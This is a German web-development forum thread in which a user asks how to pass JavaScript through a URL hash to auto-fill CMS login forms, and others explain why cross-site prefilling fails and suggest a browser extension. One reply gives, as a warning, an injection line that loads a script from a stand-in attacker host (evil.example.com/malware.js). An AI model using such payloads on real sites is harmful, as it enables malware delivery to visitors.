RomanS: Javascript über URL mitgeben.

Hallo selfhtml forum,

Wir verwenden ein einfaches Internes System das in der immer selben Struktur link/user/passwort anzeigt, jeweils aber auf andere CMS Systeme linkt.

Ich suche jetzt nach einer Möglichkeit den Benutzernamen & Passwort jeweils mit zu übergeben. Ich bilde mir ein mal einen "Facebook Wurm" gesehen zu haben, der sich einfach an URLs gehängt hat. Keine Ahnung ob dieser explizit eine Schwachstelle verwendet hat.

Als meine Frage, ist etwas dergleichen möglich:
domain.tld?key=value#javascript:alert('yay')
?

Vielen dank im vorraus!

PS: Google phrasen / stichwörter sind auch erwünscht, ich fand leider nichts was darauf hinwiess ob es möglich ist oder nicht.

  1. Lieber RomanS,

    Als meine Frage, ist etwas dergleichen möglich:
    domain.tld?key=value#javascript:alert('yay')
    ?

    spinnen wir doch diesen gefährlichen Gedanken einmal weiter:

    domain.tld?key=value#javascript:document.body.innerHTML+='<script type="text/javascript" src="http://evil.example.com/malware.js"></script>'

    Liebe Grüße,

    Felix Riesterer.

    --
    ie:% br:> fl:| va:) ls:[ fo:) rl:| n4:? de:> ss:| ch:? js:) mo:} zu:)
    1. Hallo Felix,

      spinnen wir doch diesen gefährlichen Gedanken einmal weiter:

      domain.tld?key=value#javascript:document.body.innerHTML+='<script type="text/javascript" src="http://evil.example.com/malware.js"></script>'

      Das ist mir durchaus klar, und eben ziemlich genau das an das ich mich erinnere bei Facebook gesehen zu haben. Aber eben es kann genau so gut eine XSS lücke gewesen sein, bis heute habe ich nicht weiter daran gedacht.

      Trotzdem möchte ich mich eigentlich nicht ganz mit deiner Antwort zufrieden geben ;)
      Gibt es denn wirklich nichts dergleichen?

      1. Hi,

        Gibt es denn wirklich nichts dergleichen?

        das hängt davon ab, was der Server mit dem URL-Teil vor dem Hash sowie die Seite mit der gesamten URL einschließlich Hash macht. Eine allgemeine Magie existiert nicht.

        Cheatah

        --
        X-Self-Code: sh:( fo:} ch:~ rl:| br:> n4:& ie:% mo:) va:) de:] zu:) fl:{ ss:) ls:~ js:|
        X-Self-Code-Url: http://emmanuel.dammerer.at/selfcode.html
        X-Will-Answer-Email: No
        X-Please-Search-Archive-First: Absolutely Yes
  2. Hi,

    Als meine Frage, ist etwas dergleichen möglich:
    domain.tld?key=value#javascript:alert('yay')
    ?

    Natürlich ist es.

    MfG ChrisB

    --
    RGB is totally confusing - I mean, at least #C0FFEE should be brown, right?
    1. Als meine Frage, ist etwas dergleichen möglich:
      domain.tld?key=value#javascript:alert('yay')
      ?

      Natürlich ist es.

      Danke auch dir, jetzt ist nur mehr das /wie/ spannend. Wie von mir erwähnt geht es ja nicht...

      1. Hi,

        Als meine Frage, ist etwas dergleichen möglich:
        domain.tld?key=value#javascript:alert('yay')
        ?

        Natürlich ist es.

        Danke auch dir, jetzt ist nur mehr das /wie/ spannend.

        So, wie’s da oben steht.

        (Da ich in deinem Posting keinerlei sinnvolle Beschreibung finden konnte, was genau du damit zu *erreichen* gedenkst, bin ich weiter als bis auf die Tatsache, dass die Eingabe dieser Textzeichen über die Tastatur möglich ist [was dein posten dieser Zeichen ja schon bewiesen hat], natürlich nicht darauf eingegangen, ob „es” möglich wäre …)

        Und ich sehe spontan nichts, was dagegen sprechen sollte, "javascript:alert('yay')" als Hash-Part in einem URL zu verwenden. (Ob noch ein Encoding von Sonderzeichen notwendig sein könnte, habe ich erst mal außen vor gelassen.)

        Wie von mir erwähnt geht es ja nicht...

        Was das denn deiner Meinung nach überhaupt bezwecken sollte, ist immer noch nicht geklärt.

        MfG ChrisB

        --
        RGB is totally confusing - I mean, at least #C0FFEE should be brown, right?
        1. Wie von mir erwähnt geht es ja nicht...

          Was das denn deiner Meinung nach überhaupt bezwecken sollte, ist immer noch nicht geklärt.

          Hi nochmal ChrisB,

          ich dachte ich hätte genug erwähnt, ich versuchs aber einfach nochmal und detailiert:

          Von diesen Tabellen sind jeweils 1-XX auf einer Seite:
          +------+----------------------+
          ¦ URL  ¦ http://example.com  *¦
          ¦ User ¦ Username             ¦
          ¦ Pass ¦ Passwort             ¦
          +------+----------------------+

          Da wo das Sternchen ist, soll der "schnell login button".
          Die Domains haben meistens eine ähnliche Struktur, und der Rest lässt sich automatisch korrigieren.

          Nun enden z.b. einige mit /typo3/ dann weiss ich genau welche 2 Felder mich auf der Seite erwarten um Benutzername und Passwort abzufragen.

          Die Idee ist jetzt also, den "schnell login button" so zu linken, das Benutzername & Passwort direkt in das Login Formular übergeben werden und bestenfalls noch der login button submited wird.

          "eigentlich" ist dies ja zu unsicher um zu erwarten das Browser das unterstützen, aber die Funktion wäre eine extreme Erleichterung.

          Das ist das Problem,
          jegliche Ideen sind willkommen :3

          1. Hi,

            Die Idee ist jetzt also, den "schnell login button" so zu linken, das Benutzername & Passwort direkt in das Login Formular übergeben werden und bestenfalls noch der login button submited wird.

            Von anderen Seiten aus Formulare in fremden Seiten mit Werten vor zu belegen, ist nicht möglich (soweit die Zielseite nicht explizit einen Mechanismus zur Verfügung stellt, diese bspw. per URL entgegen zu nehmen.) [1]

            Du könntest dir natürlich die jeweiligen Formulare „nachbauen“ – Zieladresse und Feldnamen in die Datenbank, auf deiner Seite damit ein Formular erstellen und automatisch abschicken …

            … und dann hoffen, dass das Ziel die Entgegennahme von Formulardaten von „fremden“ Seiten nicht zu unterbinden versucht, durch Sessions, Cookies, CSRF-Tokens etc. pp.

            [1] Es sei denn, du schreibst dir eine Browser-Extension dafür, die natürlich mehr Rechte hat als eine normale Webseite – und du dann auch noch den Nutzerkreis dazu bringen kannst, diese zu installieren.

            MfG ChrisB

            --
            RGB is totally confusing - I mean, at least #C0FFEE should be brown, right?
            1. Hi,

              [1] Es sei denn, du schreibst dir eine Browser-Extension dafür, die natürlich mehr Rechte hat als eine normale Webseite – und du dann auch noch den Nutzerkreis dazu bringen kannst, diese zu installieren.

              Ich hab fast erwartet das es darauf hinausläuft, es geht auch nicht um viele personen, mal schaun wie einfach sich Chrome Extensions nach FF portieren lassen, das ist eigentlich die einzige Hürde.

              Ich glaub du weisst nicht im geringsten bei wie vielen Fragen genau du mir über die Jahre schon geholfen hast, hierfür ein wohlverdientes Herzliches danke!